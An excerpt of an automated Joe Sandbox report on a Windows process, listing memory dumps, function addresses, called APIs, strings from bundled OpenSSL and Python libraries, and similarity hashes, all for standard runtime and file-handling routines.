Source File: 00000008.00000002.1952893577.00007FFBAA4B1000.00000040.00000001.01000000.0000000E.sdmp, Offset: 00007FFBAA4B0000, based on PE: true

Associated: 00000008.00000002.1952857331.00007FFBAA4B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1952893577.00007FFBAA4CB000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1952893577.00007FFBAA4D7000.00000040.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1953017597.00007FFBAA4D8000.00000080.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000008.00000002.1953052763.00007FFBAA4DA000.00000004.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa4b0000_program.jbxd

Similarity

API ID: 00007B591ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 2602518146-0
Opcode ID: e20b566639f2b49f24601b76cb9a21332238eac4db753b9772483f65c6a8b470
Instruction ID: cb9f46f23943a4298898f50c1560f555f3fff54d4231340cae52df4e722427ca
Opcode Fuzzy Hash: e20b566639f2b49f24601b76cb9a21332238eac4db753b9772483f65c6a8b470
Instruction Fuzzy Hash: F6314BB660AB81D6EB618F61E8803EE7378FB84744F44403AEA4D47B94DF3CD6498720

Function 00007FFBA4173248 Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFBA4173264
00007FFBBB591A90.VCRUNTIME140 ref: 00007FFBA4173288
RtlCaptureContext.KERNEL32 ref: 00007FFBA4173291
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFBA41732AB
RtlVirtualUnwind.KERNEL32 ref: 00007FFBA41732EC
00007FFBBB591A90.VCRUNTIME140 ref: 00007FFBA417331F
IsDebuggerPresent.KERNEL32 ref: 00007FFBA4173340
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFBA417335D
UnhandledExceptionFilter.KERNEL32 ref: 00007FFBA4173368

Memory Dump Source

Source File: 00000008.00000002.1949490443.00007FFBA4171000.00000040.00000001.01000000.0000001A.sdmp, Offset: 00007FFBA4170000, based on PE: true

Associated: 00000008.00000002.1949454231.00007FFBA4170000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA41BA000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA41C8000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA4217000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA421C000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949490443.00007FFBA421F000.00000040.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949749489.00007FFBA4220000.00000080.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000008.00000002.1949783531.00007FFBA4222000.00000004.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba4170000_program.jbxd

Similarity

API ID: 00007B591ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 2602518146-0
Opcode ID: c016222525537ec18d5e696995a9a3f380ff0682bd70983648a287384bccb3b7
Instruction ID: 83dd1b40009bd715617aaac99237b2f3ebfed25d7425da50800c075eafb18084
Opcode Fuzzy Hash: c016222525537ec18d5e696995a9a3f380ff0682bd70983648a287384bccb3b7
Instruction Fuzzy Hash: 8A312FB2A0AB85C6EB628F60E8803E97764FB44754F44403ADB4E57BA9DF38D548CB10

Function 00007FF72C6583C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,00007FF72C658919,00007FF72C653FA5), ref: 00007FF72C65842B
RemoveDirectoryW.KERNEL32(?,00007FF72C658919,00007FF72C653FA5), ref: 00007FF72C6584AE
DeleteFileW.KERNEL32(?,00007FF72C658919,00007FF72C653FA5), ref: 00007FF72C6584CD
FindNextFileW.KERNEL32(?,00007FF72C658919,00007FF72C653FA5), ref: 00007FF72C6584DB
FindClose.KERNEL32(?,00007FF72C658919,00007FF72C653FA5), ref: 00007FF72C6584EC
RemoveDirectoryW.KERNEL32(?,00007FF72C658919,00007FF72C653FA5), ref: 00007FF72C6584F5

Strings

%s\*, xrefs: 00007FF72C6583F2

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction ID: acfef818fa757435a00dbfbc73a2c9f3f3a68c5db68a1fd3ca24e20c6487c443
Opcode Fuzzy Hash: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction Fuzzy Hash: 4A416521A0C54285EB61BB64E8441BAA362FFA87A4FD00631DB9D43AD4DF3CD549CF50

Function 00007FF72C65D12C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF72C65D148
RtlCaptureContext.KERNEL32 ref: 00007FF72C65D175
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF72C65D18F
RtlVirtualUnwind.KERNEL32 ref: 00007FF72C65D1D0
IsDebuggerPresent.KERNEL32 ref: 00007FF72C65D224
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF72C65D241
UnhandledExceptionFilter.KERNEL32 ref: 00007FF72C65D24C

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction ID: c0e9453daa5319c9a977e43f5a8ddc277bb9b255e9adbe2c55aa8a73e99b43f6
Opcode Fuzzy Hash: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction Fuzzy Hash: 52313E72609B8186EB619F60EC843EEB361FB94758F44443ADB4E47B99DF38D548CB20

Function 00007FFBA43D4390 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFBA43D43AC
RtlCaptureContext.KERNEL32 ref: 00007FFBA43D43D9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFBA43D43F3
RtlVirtualUnwind.KERNEL32 ref: 00007FFBA43D4434
IsDebuggerPresent.KERNEL32 ref: 00007FFBA43D4488
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFBA43D44A5
UnhandledExceptionFilter.KERNEL32 ref: 00007FFBA43D44B0

Memory Dump Source

Source File: 00000008.00000002.1949877226.00007FFBA43D1000.00000040.00000001.01000000.00000018.sdmp, Offset: 00007FFBA43D0000, based on PE: true

Associated: 00000008.00000002.1949827954.00007FFBA43D0000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1949877226.00007FFBA43DD000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1949877226.00007FFBA43E0000.00000040.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1950013415.00007FFBA43E1000.00000080.00000001.01000000.00000018.sdmpDownload File
Associated: 00000008.00000002.1950056718.00007FFBA43E3000.00000004.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba43d0000_program.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 6b94263228284adea3e7e1cdca652a094aa349ee7aad73e387e1651aa79022c0
Instruction ID: dd4e3a3a908a7739d5713eea0c3edfdd7a428d1f331bb13caad899e8db7a1a46
Opcode Fuzzy Hash: 6b94263228284adea3e7e1cdca652a094aa349ee7aad73e387e1651aa79022c0
Instruction Fuzzy Hash: 35311DB2A0AF81D6EB619F61E8803ED73A4FB94744F544439DA4E47BA4DF3CD6488710

Function 00007FFBAA493318 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFBAA493334
RtlCaptureContext.KERNEL32 ref: 00007FFBAA493361
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFBAA49337B
RtlVirtualUnwind.KERNEL32 ref: 00007FFBAA4933BC
IsDebuggerPresent.KERNEL32 ref: 00007FFBAA493410
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFBAA49342D
UnhandledExceptionFilter.KERNEL32 ref: 00007FFBAA493438

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 8bb2c844973f8a307a2fb197422134c0be9fa62acd3dd33c558e307c9d71f774
Instruction ID: f050526e82ccbc195d0ba9e313e30faeba2fe7f558fb43b46e3c826efd282778
Opcode Fuzzy Hash: 8bb2c844973f8a307a2fb197422134c0be9fa62acd3dd33c558e307c9d71f774
Instruction Fuzzy Hash: 56313EB260AA81C6EB618FA0E8C07ED7368FB85744F04447AEE4D47B95DF38D559C710

Function 00007FFBA66A339C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FFBA66A33B8
RtlCaptureContext.KERNEL32 ref: 00007FFBA66A33E5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FFBA66A33FF
RtlVirtualUnwind.KERNEL32 ref: 00007FFBA66A3440
IsDebuggerPresent.KERNEL32 ref: 00007FFBA66A3494
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFBA66A34B1
UnhandledExceptionFilter.KERNEL32 ref: 00007FFBA66A34BC

Memory Dump Source

Source File: 00000008.00000002.1951835790.00007FFBA66A1000.00000040.00000001.01000000.00000014.sdmp, Offset: 00007FFBA66A0000, based on PE: true

Associated: 00000008.00000002.1951780580.00007FFBA66A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66AE000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66C1000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66CA000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66CE000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1952036399.00007FFBA66D1000.00000080.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1952071427.00007FFBA66D3000.00000004.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba66a0000_program.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 8e86fcbda8d44a87da12ad3cbe0ff2274eff02410a8037cee209cf92a2e866f6
Instruction ID: 4670f7950434127426fe264ad413e05b535d2eca140b54fea34bc098eb27c29c
Opcode Fuzzy Hash: 8e86fcbda8d44a87da12ad3cbe0ff2274eff02410a8037cee209cf92a2e866f6
Instruction Fuzzy Hash: 06314CB260AB8186EB618F74E8503EE7375FB94B44F04543ADA4E97B94EF38D548CB10

Function 00007FF72C675C00 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF72C675C45

Part of subcall function 00007FF72C675598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C6755AC

Part of subcall function 00007FF72C66A948: HeapFree.KERNEL32(?,?,?,00007FF72C672D22,?,?,?,00007FF72C672D5F,?,?,00000000,00007FF72C673225,?,?,?,00007FF72C673157), ref: 00007FF72C66A95E
Part of subcall function 00007FF72C66A948: GetLastError.KERNEL32(?,?,?,00007FF72C672D22,?,?,?,00007FF72C672D5F,?,?,00000000,00007FF72C673225,?,?,?,00007FF72C673157), ref: 00007FF72C66A968

Part of subcall function 00007FF72C66A900: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF72C66A8DF,?,?,?,?,?,00007FF72C66A7CA), ref: 00007FF72C66A909
Part of subcall function 00007FF72C66A900: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF72C66A8DF,?,?,?,?,?,00007FF72C66A7CA), ref: 00007FF72C66A92E

_get_daylight.LIBCMT ref: 00007FF72C675C34

Part of subcall function 00007FF72C6755F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C67560C

_get_daylight.LIBCMT ref: 00007FF72C675EAA
_get_daylight.LIBCMT ref: 00007FF72C675EBB
_get_daylight.LIBCMT ref: 00007FF72C675ECC
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF72C67610C), ref: 00007FF72C675EF3

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: 677ea417f3249c8bdb60afb6413c0575e0f743ff33606516b420b369f71394b1
Instruction ID: 7c87c2dfff1801238b98d4aec5a2674972c44497560309c1737eb14a2b8fdfe3
Opcode Fuzzy Hash: 677ea417f3249c8bdb60afb6413c0575e0f743ff33606516b420b369f71394b1
Instruction Fuzzy Hash: 40D1D422A1824286E722FF21DC421B9A363FFA47A4FC48976DA0D47695DF3CE445CF60

Function 00007FF72C66A614 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF72C66A68D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF72C66A6A5
RtlVirtualUnwind.KERNEL32 ref: 00007FF72C66A6E0
IsDebuggerPresent.KERNEL32 ref: 00007FF72C66A719
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF72C66A723
UnhandledExceptionFilter.KERNEL32 ref: 00007FF72C66A72E

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction ID: efd8a26337d1ab9ddb835e402724fb6bf05ce0f95ab9478cfb1275ebdcbd09d0
Opcode Fuzzy Hash: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction Fuzzy Hash: 4F319336608B8186DB21DF25EC442AEB3A5FB98768F900535EA9D43B99DF3CC159CB10

Function 00007FFBA6091CBC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 292COMMON

Download Yara Rule

Strings

resumption, xrefs: 00007FFBA6106EC3
..\s\ssl\statem\statem_srvr.c, xrefs: 00007FFBA6106DD9, 00007FFBA6106E8A, 00007FFBA6106FA3, 00007FFBA6106FC3, 00007FFBA6107015, 00007FFBA610708F, 00007FFBA6107167
tls_construct_new_session_ticket, xrefs: 00007FFBA6106DCD, 00007FFBA6106E7E, 00007FFBA6107009, 00007FFBA6107083
construct_stateful_ticket, xrefs: 00007FFBA610715B

Memory Dump Source

Source File: 00000008.00000002.1950129246.00007FFBA6091000.00000040.00000001.01000000.00000016.sdmp, Offset: 00007FFBA6090000, based on PE: true

Associated: 00000008.00000002.1950095632.00007FFBA6090000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6113000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA613D000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6148000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6153000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950432020.00007FFBA6157000.00000080.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950478595.00007FFBA6159000.00000004.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6090000_program.jbxd

Similarity

API ID:
String ID: ..\s\ssl\statem\statem_srvr.c$construct_stateful_ticket$resumption$tls_construct_new_session_ticket
API String ID: 0-1194634662
Opcode ID: d7c51ff00aa3bb62bc4b7c529fdc1557d19d858cb9888e3d1740cde6f66a3c2f
Instruction ID: 06f5639a19cef5d93a92c05df5a6b3a05ed96a9d56caa249f78da0e6503d2293
Opcode Fuzzy Hash: d7c51ff00aa3bb62bc4b7c529fdc1557d19d858cb9888e3d1740cde6f66a3c2f
Instruction Fuzzy Hash: 87D19DE2F0A68291EB13DB35D8517A96BA2FB85F84F545032EE4C8BB96CE3DD541C310

Function 00007FFBAA493E40 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 181networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 00007FFBAA493E6A
00007FFBC92E3440.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBAA493E8E

Strings

NOO, xrefs: 00007FFBAA494063
surrogatepass, xrefs: 00007FFBAA49404E
unsupported address family, xrefs: 00007FFBAA494082

Memory Dump Source

Source File: 00000008.00000002.1952605640.00007FFBAA491000.00000040.00000001.01000000.00000012.sdmp, Offset: 00007FFBAA490000, based on PE: true

Associated: 00000008.00000002.1952566333.00007FFBAA490000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A1000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A3000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952605640.00007FFBAA4A6000.00000040.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952772594.00007FFBAA4A7000.00000080.00000001.01000000.00000012.sdmpDownload File
Associated: 00000008.00000002.1952815760.00007FFBAA4A8000.00000004.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffbaa490000_program.jbxd

Similarity

API ID: 00007E3440ErrorLast
String ID: NOO$surrogatepass$unsupported address family
API String ID: 725305683-472101058
Opcode ID: e2301973ca244d9adc6b6ab578d2e372c8de1439fb0a9aba9528582346aaa0b5
Instruction ID: 4f689844c807fb8bf6625e2e64ab29f714ffb9c8c24333f559dbeb54ab64c76f
Opcode Fuzzy Hash: e2301973ca244d9adc6b6ab578d2e372c8de1439fb0a9aba9528582346aaa0b5
Instruction Fuzzy Hash: 4E81A3A2E0AA52C1EA568B31E4C427D63A8AF45B94F044175FE0D437A5EF3DE492C360

Function 00007FF72C671874 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF72C6718C0
FindFirstFileExW.KERNEL32 ref: 00007FF72C6719CA

Memory Dump Source

Source File: 00000008.00000002.1949252738.00007FF72C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF72C650000, based on PE: true

Associated: 00000008.00000002.1949219769.00007FF72C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949294358.00007FF72C67B000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C68E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949341055.00007FF72C691000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1949418176.00007FF72C694000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff72c650000_program.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: 471de8175ffa50438b20796c5ba06e190623de8bcba55c14971da5e7bf2bc1ae
Instruction ID: 4a845607282e17f4a483a487e092a201656256254044ab6ab78e4d0b38d8c084
Opcode Fuzzy Hash: 471de8175ffa50438b20796c5ba06e190623de8bcba55c14971da5e7bf2bc1ae
Instruction Fuzzy Hash: EBB1E622B1868241EE62EB219C011B9E362FB64BF4F945533D95D07B99EF3CE445CB10

Function 00007FFBA6091EE2 Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 470COMMON

Download Yara Rule

APIs

00007FFBC92F08A0.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FFBA60ECCF4

Strings

..\s\ssl\statem\extensions_srvr.c, xrefs: 00007FFBA60ECB37, 00007FFBA60ECE86, 00007FFBA60ECED4, 00007FFBA60ED002, 00007FFBA60ED0DD, 00007FFBA60ED13C
tls_parse_ctos_psk, xrefs: 00007FFBA60ECE7A, 00007FFBA60ECECD, 00007FFBA60ECFFB, 00007FFBA60ED0D6, 00007FFBA60ED135
D:\a\1\s\include\internal/packet.h, xrefs: 00007FFBA60ECAE9, 00007FFBA60ECAFD

Memory Dump Source

Source File: 00000008.00000002.1950129246.00007FFBA6091000.00000040.00000001.01000000.00000016.sdmp, Offset: 00007FFBA6090000, based on PE: true

Associated: 00000008.00000002.1950095632.00007FFBA6090000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6113000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6115000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA613D000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6148000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950129246.00007FFBA6153000.00000040.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950432020.00007FFBA6157000.00000080.00000001.01000000.00000016.sdmpDownload File
Associated: 00000008.00000002.1950478595.00007FFBA6159000.00000004.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba6090000_program.jbxd

Similarity

API ID: 00007
String ID: ..\s\ssl\statem\extensions_srvr.c$D:\a\1\s\include\internal/packet.h$tls_parse_ctos_psk
API String ID: 3568877910-3130753023
Opcode ID: bb6fdb0651d5f52247cd78fcf81d5255b842004060db7846350dbb3ed1d0d898
Instruction ID: 74ab04e0d0678676a8caa618e5aba0365c0e2541f49eb0f6b292baf1d60fc814
Opcode Fuzzy Hash: bb6fdb0651d5f52247cd78fcf81d5255b842004060db7846350dbb3ed1d0d898
Instruction Fuzzy Hash: 1312D2E2F0AA9241EB229B71D4813BDAB92EF85F84F054032DE5D4BB85DE3DE5918700

Function 00007FFBA66ABF74 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

00007FFBA6091C3A.LIBSSL-3 ref: 00007FFBA66AC067

Strings

Python, xrefs: 00007FFBA66AC0BA
Cannot create a client socket with a PROTOCOL_TLS_SERVER context, xrefs: 00007FFBA66AC001
Cannot create a server socket with a PROTOCOL_TLS_CLIENT context, xrefs: 00007FFBA66ABFBC

Memory Dump Source

Source File: 00000008.00000002.1951835790.00007FFBA66A1000.00000040.00000001.01000000.00000014.sdmp, Offset: 00007FFBA66A0000, based on PE: true

Associated: 00000008.00000002.1951780580.00007FFBA66A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66AE000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66C1000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66CA000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1951835790.00007FFBA66CE000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1952036399.00007FFBA66D1000.00000080.00000001.01000000.00000014.sdmpDownload File
Associated: 00000008.00000002.1952071427.00007FFBA66D3000.00000004.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffba66a0000_program.jbxd

Similarity

API ID: 00007A6091
String ID: Cannot create a client socket with a PROTOCOL_TLS_SERVER context$Cannot create a server socket with a PROTOCOL_TLS_CLIENT context$Python
API String ID: 1518032178-1888807747
Opcode ID: cd1b8ea646ef9afa8d9b55c550e8d37b12c63986d5a7a861df86a7bcf2bbbd8b
Instruction ID: 44471b4f74cf97a8fb2e3af1e8347c7c5f967cf031379eb00874c7a827f51366
Opcode Fuzzy Hash: cd1b8ea646ef9afa8d9b55c550e8d37b12c63986d5a7a861df86a7bcf2bbbd8b
Instruction Fuzzy Hash: 98A162F5A0A64282EA629F3AEC545B97372FFA5F80B046435CE4E83B50DF3DE4459B40

Function 00007FF72C675E7C Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF72C675EAA

Part of subcall function 00007FF72C6755F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C67560C

_get_daylight.LIBCMT ref: 00007FF72C675EBB

Part of subcall function 00007FF72C675598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF72C6755AC

